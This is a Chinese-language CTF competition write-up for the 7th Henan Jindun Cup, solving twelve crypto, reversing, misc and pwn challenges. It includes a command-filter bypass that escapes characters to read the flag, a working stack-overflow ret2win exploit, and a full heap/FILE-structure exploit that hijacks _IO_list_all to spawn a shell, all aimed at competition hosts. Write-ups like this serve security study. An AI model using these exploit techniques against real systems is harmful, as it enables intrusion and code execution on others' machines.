# GoblinSEC-第七届河南省金盾杯WriteUP第二次比赛 > 为什么叫第二次,懂得都懂 ### 题目一 签到 ### 操作内容: ZmxhZ3tmYjI0MzAyNS1kMjA0LTRlZGEtYjNkYy01MGZlZmExMDg5ZmR9 Base64解码得到flag{fb243025-d204-4eda-b3dc-50fefa1089fd} ### flag值: flag{fb243025-d204-4eda-b3dc-50fefa1089fd} ### 题目二 c1assicalcrypt03asy ### 操作内容: 经典换表密码,给的图片分别是夏多、跳舞的小人、圣堂武士、https://kryptografie.de/kryptografie/chiffre/futurama.htm,对出来的内容是c1assicalcrypt03asy,直接交就行 ### flag值: flag{c1assicalcrypt03asy} ### 题目三 shell ### 操作内容: 链接靶机发现是可以执行部分执行的,但是无法正常cat flag  可以直接用ca\t fl\ag做分隔绕过  ### flag值: flag{25d6fc62-b293-4c59-8f20-9f16fa9e375d} ### 题目四 van-you-see ### 操作内容: 2048找到一个被混淆sojson.v4 两层混淆的js文件,解密之后得到的主要逻辑是配合html的showflag的window.location.href + '/u0cNTzvI5' + 'QprXH.php' 请求u0cNTzvI5QprXH.php获取密文之后根据对应的AES的key iv进行解密,然后就可以拿到flag   ```python from Crypto.Cipher import AES import base64 encrypted_data = "OT95wMwexdoLvds7rIFfeth2Dk38aU5Ax5YSQ71aRHCbqkybxngkXreRlhNTaUTS" key = b'1267c0a3849d5bef' iv = b'af16d2be89745c30' def decrypt(data_b64): try: cipher_text = base64.b64decode(data_b64) except: try: cipher_text = bytes.fromhex(data_b64) except: print("无法识别的密文格式") return cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(cipher_text) pad_len = decrypted[-1] return decrypted[:-pad_len].decode('utf-8') print("Flag:", decrypt(encrypted_data)) ``` ### flag值: flag{56a282fd-3855-4692-a6e7-1146690fd4b0} ### 题目五 CathylinFour++ ### 操作内容: 代码给出一个简单的SPN结构,由于加密系统处理的数据只有65536中可能,可以直接爆破,经过3轮加密,每轮都有Key Sbox Pbox,不过在爆破出来的话会告诉对应的明文,那么只需要计算出最后一顿秘钥K3就可以和mask异或一下发过去就能拿到flag,这里用Z3约束表达式进行计算,先把秘钥干了然后按照刚才说的思路自动求解就可以了(深井base64当flag)  ```python #!/usr/bin/env python3 from pwn import * from z3 import * context.log_level = 'info' class CryptoSolver: def __init__(self): self.S_BOX = [0xC, 0x5, 0x6, 0xB, 0x9, 0x0, 0xA, 0xD, 0x3, 0xE, 0xF, 0x8, 0x4, 0x7, 0x1, 0x2] self.P_MAP = [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11] self.ROUND_KEYS = [0x0F0F, 0x3333, 0x55AA] self.solver = Solver() self.k_vars = [BitVec(f'k_{i}', 16) for i in range(4)] def _sbox_sub(self, block_16bit): res_nibbles = [] for i in range(4): # 提取4位 (nibble) nibble = Extract(15 - i*4, 12 - i*4, block_16bit) # 构建替换逻辑 temp = BitVecVal(0, 4) for val in range(16): # 使用 Z3 的 If 表达式映射 S 盒 temp = If(nibble == val, BitVecVal(self.S_BOX[val], 4), temp) res_nibbles.append(temp) return Concat(*res_nibbles) def _permute(self, block_16bit): bits = [Extract(15-i, 15-i, block_16bit) for i in range(16)] new_bits = [None] * 16 for i in range(16): target_idx = self.P_MAP[i] new_bits[target_idx] = bits[i] return Concat(*new_bits) def encrypt_symbolic(self, plain_int): """构建加密流程的约束模型""" state = BitVecVal(plain_int, 16) for r in range(2): state = state ^ self.k_vars[r] ^ self.ROUND_KEYS[r] state = self._sbox_sub(state) state = self._permute(state) state = state ^ self.k_vars[2] ^ self.ROUND_KEYS[2] state = self._sbox_sub(state) final_cipher = state ^ self.k_vars[3] return final_cipher def add_pair(self, p, c): self.solver.add(self.encrypt_symbolic(p) == c) def solve_key(self): if self.solver.check() == sat: m = self.solver.model() return m[self.k_vars[3]].as_long() else: return None def main(): io = remote(123.57.26.77, 36158) io.recvuntil(b"mask = ") raw_mask = io.recvline().strip() mask = int(raw_mask, 16) log.info(f"Mask captured: {hex(mask)}") solver_engine = CryptoSolver() test_inputs = list(range(6)) log.info("Collecting P/C pairs...") for pt in test_inputs: io.recvuntil(b"Your input: ") io.sendline(hex(pt).encode()) res = io.recvline().decode() if "Output" in res: ct_str = res.split("Output: ")[1].strip() ct = int(ct_str, 16) solver_engine.add_pair(pt, ct) else: log.warning(f"Unexpected response: {res}") k3_val = solver_engine.solve_key() if k3_val is not None: log.success(f"Key3 found: {hex(k3_val)}") ans = k3_val ^ mask io.sendlineafter(b"Your input: ", b"k") io.sendlineafter(b"proof (hex): ", hex(ans).encode()) final_res = io.recvall(timeout=3).decode() print("\n" + "="*30) print(final_res.strip()) print("="*30 + "\n") else: log.error("Unsatisfiable constraints.") io.close() if __name__ == '__main__': main() ``` ### flag值: ZmxhZ3swZDI5NzEyNi1mYTY2LTQ0MjUtYjkxZC1iMTYxYWRjNDM1NzR9 ### 题目六 lowre ### 操作内容: 这题是自定义VM,逻辑主要在于处理main函数的验证之后调到run_vm_inner里面,能看到字节码处理逻辑,倒着处理数据之后与0x5A进行异或得到真正的指令,然后调到run_ir部分,对应的opcode就是异或校验,由于两边直接抵消,所以不需要管,只需要知道是我们 输入的内容^0xAA 能得到我们想要的数据就可以了,由于是在程序里面生成的,直接动调就能拿到,用pwndbg在run_vm_inner下断点,再rdx拿数据就可以了    ```python hex_data = "0xcc 0xc6 0xcb 0xcd 0xd1 0x9d 0xcf 0x9e 0x92 0xcb 0x9c 0xc9 0xcb 0x87 0xce 0xcc 0xcb 0x98 0x87 0x9b 0x9b 0xcc 0x9a 0x87 0x93 0xc9 0x98 0x98 0x87 0x99 0x9a 0x9a 0x9f 0x9a 0x9f 0x9d 0x9f 0x9c 0x9b 0x98 0xce 0x87 0x92 0xcf 0x9c 0xcb 0x9e 0x9a 0x92 0xc8 0x87 0xce 0xcc 0xcb 0x98 0x87 0x9b 0x9b 0xcc 0x9a 0x87 0x92 0xc9 0x9b 0x99 0x87 0x99 0x9a 0x9a 0x9f 0x9a 0x9f 0x9d 0x9f 0x9c 0x9b 0x98 0xce 0xd7 0x00" data_list = [int(x, 16) for x in hex_data.split()] key = 0xAA result_values = [x ^ key for x in data_list] result_chars = ''.join([chr(x) for x in result_values]) print(result_chars) ``` ### flag值: flag{7e48a6ca-dfa2-11f0-9c22-30050575612d-8e6a408b-dfa2-11f0-8c13-30050575612d} ### 题目七 RSA ### 操作内容: Dp泄露模板题  ```python from Crypto.Util.number import long_to_bytes n = 93977446509601491411273109183700477792476081212252100588514513996369916050240513858257713585313335366590846240370949831289684059273587772970292476296340120801189466605373324380976699533407970974215875662294283755613133719192114163547130089995306718768119144501566575807133141973499886356493323821201111393199 e = 65537 dp = 4646721143214293575763413674967142339122604220191663048739174575126624610789286103728040064106260338484738571999187838033377907298506299277252376843468857 c = 39842044108169653665655273759299059319749157454557086299529162182474598233474908300467494642550719706800866015430966154461050042032159169236220832726422011654867871818265524075008160875598938671421298968459869843510325230871429349578969045129760472874539862070944657591218420952191065002303403538259250208430 for k in range(1, e): if (e * dp - 1) % k == 0: p = (e * dp - 1) // k + 1 if n % p == 0: print(f"Found p: {p}") q = n // p phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = pow(c, d, n) print(long_to_bytes(m).decode()) break ``` ### flag值: flag{L34k_0f_Dp_Br34ks_RS4_E4sy} ### 题目八 signin ### 操作内容: 很简单的pwn签到题,栈溢出给了64个字符,程序的win函数能直接读取flag.txt然后打印出来,只需要用栈溢出覆盖vuln的返回地址修改成win函数的函数地址然后劫持ret到那里就可以了 ```python from pwn import * exe = './signin' elf = context.binary = ELF(exe) context.log_level = 'debug' sf = remote('101.200.152.81', 31059) win_addr = elf.symbols['win'] log.info(f"Win function address: {hex(win_addr)}") rop = ROP(elf) ret_gadget = rop.find_gadget(['ret'])[0] log.info(f"Ret gadget address: {hex(ret_gadget)}") offset = 72 payload = b'A' * offset + p64(ret_gadget) + p64(win_addr) sf.recvuntil(b'Say something to sign in:') sf.sendline(payload) sf.interactive() ``` ### flag值: flag{64be95c6-70e8-47a7-a75c-8fd3f4a30618} ### 题目九 data ### 操作内容: 拿到的qemu在Linux中挂载得到一堆word文档和ppt,最后发现项目启动-项目计划.ppt的这个PPT打不开,用bandizip解压出来得到all.zip,然后继续解压拿到一堆二维码,写脚本拼出来,得到一个能扫出来比较正确的二维码    这个二维码扫出来是K5LGIS2TGBIXSVKEJJKVCVJRJBKGW4CZKNDFUSKUIVTTAUSWIJFFC2SWKZLFKWTBK5LGIWSVGFUFKVTKJF4VO3DIIZLFMULZKIYGG6KRKVCXSVLKLJDFKVSGIRLDCVSKKZDHAUCTKZSEUV2GJZMU4222IJLEMZCTKMYFUS2XKVDFOVCVOBFFE2S2JBKWYVSTKBKDAOKQKQYDS=== 经过base32->base64得到YWJKD2P2TAMGNJXHVHLH4EPIB5UUFZYWYSXTV22ZXEUT2GG2AA2R6EQQCWUITZOIWIXSX6FATWRKFJYAVMJIF6GRUR====== 再用rot13->base32->base64得到flag{4a154507-ba7d-3f79-8739-91533b2bafc7}  ```python import os from PIL import Image import numpy as np def get_edges(img): arr = np.array(img) arr = (arr > 128).astype(int) top = arr[0, :] bottom = arr[-1, :] left = arr[:, 0] right = arr[:, -1] return top, bottom, left, right def is_white(edge): return np.all(edge == 1) def edges_match(e1, e2): return np.array_equal(e1, e2) def solve(): files = [f for f in os.listdir('.') if f.endswith('.png')] images = {} img_data = {} # Pools pools = { 'TL': [], 'TR': [], 'BL': [], 'BR': [], 'T': [], 'B': [], 'L': [], 'R': [], 'I': [] } print("Loading images...") for f in files: img = Image.open(f).convert('L') t, b, l, r = get_edges(img) img_data[f] = {'t': t, 'b': b, 'l': l, 'r': r} wt, wb, wl, wr = is_white(t), is_white(b), is_white(l), is_white(r) if wt and wl: pools['TL'].append(f) elif wt and wr: pools['TR'].append(f) elif wb and wl: pools['BL'].append(f) elif wb and wr: pools['BR'].append(f) elif wt: pools['T'].append(f) elif wb: pools['B'].append(f) elif wl: pools['L'].append(f) elif wr: pools['R'].append(f) elif not (wt or wb or wl or wr): pools['I'].append(f) else: print(f"Unclassified: {f}") for k, v in pools.items(): print(f"{k}: {len(v)}") print("Computing matches...") right_matches = {f: [] for f in files} bottom_matches = {f: [] for f in files} for f1 in files: for f2 in files: if f1 == f2: continue if edges_match(img_data[f1]['r'], img_data[f2]['l']): right_matches[f1].append(f2) if edges_match(img_data[f1]['b'], img_data[f2]['t']): bottom_matches[f1].append(f2) target_types = [ 'TL', 'T', 'T', 'TR', 'L', 'I', 'I', 'R', 'L', 'I', 'I', 'R', 'BL', 'B', 'B', 'BR' ] solutions = [] used = set() def solve_4x4(idx, current_grid, used_in_this_solution): ifidx == 16: return list(current_grid) row = idx // 4 col = idx % 4 required_type = target_types[idx] candidates = [c for c in pools[required_type] if c not in used and c not in used_in_this_solution] valid_candidates = [] for cand in candidates: if col > 0: left_neighbor = current_grid[idx-1] if cand not in right_matches[left_neighbor]: continue if row > 0: top_neighbor = current_grid[idx-4] if cand not in bottom_matches[top_neighbor]: continue valid_candidates.append(cand) for cand in valid_candidates: res = solve_4x4(idx + 1, current_grid + [cand], used_in_this_solution | {cand}) if res: return res return None print("Solving quadrants...") quadrants = [] for i in range(4): sol = solve_4x4(0, [], set()) if sol: print(f"Found quadrant {i+1}") quadrants.append(sol) for f in sol: used.add(f) else: print(f"Failed to find quadrant {i+1}") break if len(quadrants) == 4: print("Found all 4 quadrants!") save_result(quadrants) else: print("Could not solve all.") def save_result(quadrants): ordered_quads = [None] * 4 def has_finder(filename): img = Image.open(filename).convert('L') return img.getpixel((50,50)) == 0 tile_size = 100 full_img = Image.new('RGB', (800, 800)) for i, quad in enumerate(quadrants): q_img = Image.new('RGB', (400, 400)) for idx, f in enumerate(quad): row = idx // 4 col = idx % 4 tile = Image.open(f) q_img.paste(tile, (col * tile_size, row * tile_size)) q_img.save(f'quadrant_{i}.png') print("Saved quadrant_0.png to quadrant_3.png") if __name__ == "__main__": solve() ``` ### flag值: flag{4a154507-ba7d-3f79-8739-91533b2bafc7} ### 题目十 不打CTF或许她还在 ### 操作内容: 不打CTF或许我就不会失去她,只怪当年沉迷CTF不去陪她,后来越来越疏远😭,给了个LIBC的堆题,不能用tcache,那就直接UAF给largebin和IO-FILE,在菜单里面申请多个large chunk然后释放其中一个,这个时候指针会指向main附近  配合给的libc可以直接泄露出来libc基址,然后在用UAF继续写入固定标记给show反推heap起点拿到假IO_FILE,释放一个large chunk进入largebin修改bk_nextsieze之后把下一次malloc的地址写到我们需要的fake IO_FILE地址就可以了,只要满足检查就能直接跳转到system,最后搜libc的/bin/sh就可以了  ```python from pwn import * context.arch = 'amd64' context.os = 'linux' context.log_level = 'info' sf = remote("101.200.152.81", 35128) elf = ELF('./pwn') libc = ELF('./libc.so.6') def step(x): sf.sendlineafter(b'choice:\n', str(x).encode()) def arg(p): sf.sendline(p if isinstance(p, bytes) else str(p).encode()) def feed(p): sf.sendafter(b'are your plans for the date: \n', p) def grab(n=6): return u64(sf.recv(n).ljust(8, b'\x00')) def make(i, s): step(1) arg(i) arg(s) def drop(i): step(2) arg(i) def patch(i, c): step(3) arg(i) feed(c) def peek(i): step(4) arg(i) for i, sz in enumerate([0x430, 0x418, 0x440, 0x410]): make(i, sz) drop(2) peek(2) sf.recvuntil(b'\x7f') libc_leak = u64(sf.recv(-1)[-6:].ljust(8, b'\x00')) libc_base = libc_leak - 0x219ce0 - 0x1000 log.success(f"libc @ {hex(libc_base)}") IO_list = libc_base + libc.sym['_IO_list_all'] wjump = libc_base + libc.sym['_IO_wfile_jumps'] syscall = libc_base + libc.sym['system'] make(4, 0x450) patch(2, b'B'*0x10) peek(2) sf.recvuntil(b'B'*0x10) heap_base = grab() - 0xaf0 log.success(f"heap @ {hex(heap_base)}") drop(0) patch(2, flat(0, 0, 0,IO_list - 0x20)) make(5, 0x450) make(0, 0x430) arena_ptr = libc_base + 0x21b0e0 patch(2, flat(arena_ptr, arena_ptr,heap_base + 0xaf0,heap_base + 0xaf0)) make(2, 0x440) fake = heap_base + 0xaf0 cmd = fake + 0x2a0 lock = heap_base + 0x6c0 wide = fake + 0xe0 chain= wide + 0xe8 blocks = [ (0x00, p64(0)*2), (0x10, p64(0) + p64(-1 & 0xffffffffffffffff)), (0x28, p64(0)*3 + p64(cmd)), (0x50, p64(0)*7), (0x88, p64(lock)), (0xa0, p64(0)*2 + p64(wide)), (0xc8, p64(0)*5), (0xf8, p64(wjump)), (0x1d8, p64(chain)), (0x250, p64(syscall)), ] payload = bytearray(b'\x00' * 0x300) for off, data in blocks: payload[off:off+len(data)] = data patch(2, bytes(payload)) patch(1, b'A'*0x410 + p32(0xfffff7f5) + b';sh\x00') step(5) sf.interactive() ``` ### flag值: flag{dd975c31-c7f0-4d14-8799-c4f82846d268} ### 题目十一 英勇投弹手 ### 操作内容: 压缩包密码是人我吃 CyhUkh8a(ARCHPR可以用担保winzip密钥恢复跑几分钟)  逆向core.js拿到对应的密文和逻辑,核心逻辑是如图这一坨,把他重置成一个可以解密的脚本之后写个js脚本就能解出来原文  ```python function _0x2f3d() { const _0x239d05 = [ '3088265aLnAAu', '873bf00c57', '25372BhvWzP', '7c3f7bbf99', 'gFKKr', '821466gZMlek', '2569812BGsTZj', 'HPqhV', '4040648FCWnre', '76849b468b', '1006744yccwII', '25COywAc', '1304166xohEjZ' ]; _0x2f3d = function () { return _0x239d05; }; return _0x2f3d(); } (function (_0x308471, _0x5643fe) { const _0x5a606a = _0x2460, _0x33a4a5 = _0x308471(); while (!![]) { try { const _0x2afb4f = parseInt(_0x5a606a(0x1b3)) / 1 * (-parseInt(_0x5a606a(0x1b7)) / 2) + ...; if (_0x2afb4f === _0x5643fe) break; else _0x33a4a5['push'](_0x33a4a5['shift']()); } catch (_0x5220d0) { _0x33a4a5['push'](_0x33a4a5['shift']()); } } }(_0x2f3d, 0xc368f)); function _0x2460(_0x111017, _0x5efafa) { const _0x2f1f50 = _0x2f3d(); return _0x2460 = function (_0x2f7d39, _0x466e46) { _0x2f7d39 = _0x2f7d39 - 0x1b3; let _0x2b3801 = _0x2f1f50[_0x2f7d39]; return _0x2b3801; }, _0x2460(_0x111017, _0x5efafa); } const _0x47b80f = _0x2460; const part1 = _0x47b80f(0x1b6); // '873bf00c57' const part2 = _0x47b80f(0x1b8); // '7c3f7bbf99' const part3 = _0x47b80f(0x1be); // '76849b468b' const flag = part1 + part2 + part3 + 'a3'; console.log(flag); ``` ### flag值: flag{873bf00c577c3f7bbf9976849b468ba3} ### 题目十二 Quantum ### 操作内容: 双参数噪声 16-bit 噪声:0 <= r < 2^16。 public.txt → 得到 (N, e) ciphertext.txt → 得到 c (获取目标密文) 在 oracle_transcript.txt 中查找 c 对应的 y ( 获取 Oracle 泄露的 y = m + r) 枚举 r = 0 到 65535 (暴力猜测噪声) 计算 m = y - r,验证 m^e mod N == c 找到真实的明文 m 然后编写python代码 执行  ```python from pathlib import Path def strip_hex_prefix(s: str) -> str: s = s.strip().lower() if s.startswith("0x"): return s[2:] return s def main(): # === 1. 读取公钥 (N, e) === pub_lines = Path("public.txt").read_text().strip().splitlines() if len(pub_lines) < 2: raise ValueError("public.txt 至少需要两行:N 和 e") N = int(strip_hex_prefix(pub_lines[0]), 16) e = int(strip_hex_prefix(pub_lines[1]), 16) # === 2. 读取目标密文 c === c_hex_raw = Path("ciphertext.txt").read_text().strip() c_hex = strip_hex_prefix(c_hex_raw) c = int(c_hex, 16) # === 3. 在 Oracle transcript 中查找 y === y = None transcript_path = Path("oracle_transcript.txt") for line_num, line in enumerate(transcript_path.read_text().splitlines(), start=1): line = line.strip() if not line or line.startswith("#"): continue parts = line.split() if len(parts) != 2: print(f"警告:跳过 oracle_transcript.txt 第 {line_num} 行(格式错误): {line}") continue a, b = parts a_clean = strip_hex_prefix(a) if a_clean == c_hex: y = int(strip_hex_prefix(b), 16) break if y is None: raise RuntimeError("在 oracle_transcript.txt 中未找到与 ciphertext.txt 匹配的条目") # === 4. 爆破 16-bit 噪声 r ∈ [0, 65535] === print(f"正在爆破 16-bit 噪声 (r ∈ [0, {1<<16}))...") ans_m = None ans_r = None max_r = 1 << 16 # 65536 for r in range(max_r): if r > y: continue m = y - r if pow(m, e, N) == c: ans_m = m ans_r = r break if ans_m is None: raise RuntimeError(f"在 r ∈ [0, {max_r}) 范围内未找到有效明文。建议尝试更大范围(如 20-bit)") byte_len = max(1, (ans_m.bit_length() + 7) // 8) m_bytes = ans_m.to_bytes(byte_len, "big") print(f"\n✅ 成功恢复明文!") print(f"r = {ans_r} (0x{ans_r:x})") print(f"明文长度: {len(m_bytes)} 字节") try: plain_str = m_bytes.decode("utf-8") print(f"\n--- UTF-8 解码结果 ---") print(plain_str) except UnicodeDecodeError: print(f"\n--- 原始字节 (hex) ---") print(m_bytes.hex()) print("\n--- 十六进制预览(每行32字节) ---") for i in range(0, len(m_bytes), 32): chunk = m_bytes[i:i+32] hex_part = " ".join(f"{b:02x}" for b in chunk) ascii_part = "".join(chr(b) if 32 <= b <= 126 else "." for b in chunk) print(f"{i:04x}: {hex_part:<48} | {ascii_part}") if __name__ == "__main__": main() ``` ### flag值: flag{7a94faqe-e0a3-1qf0-8527-30050575612d-983f85d9-e0a3-11f0-88ca}
没有评论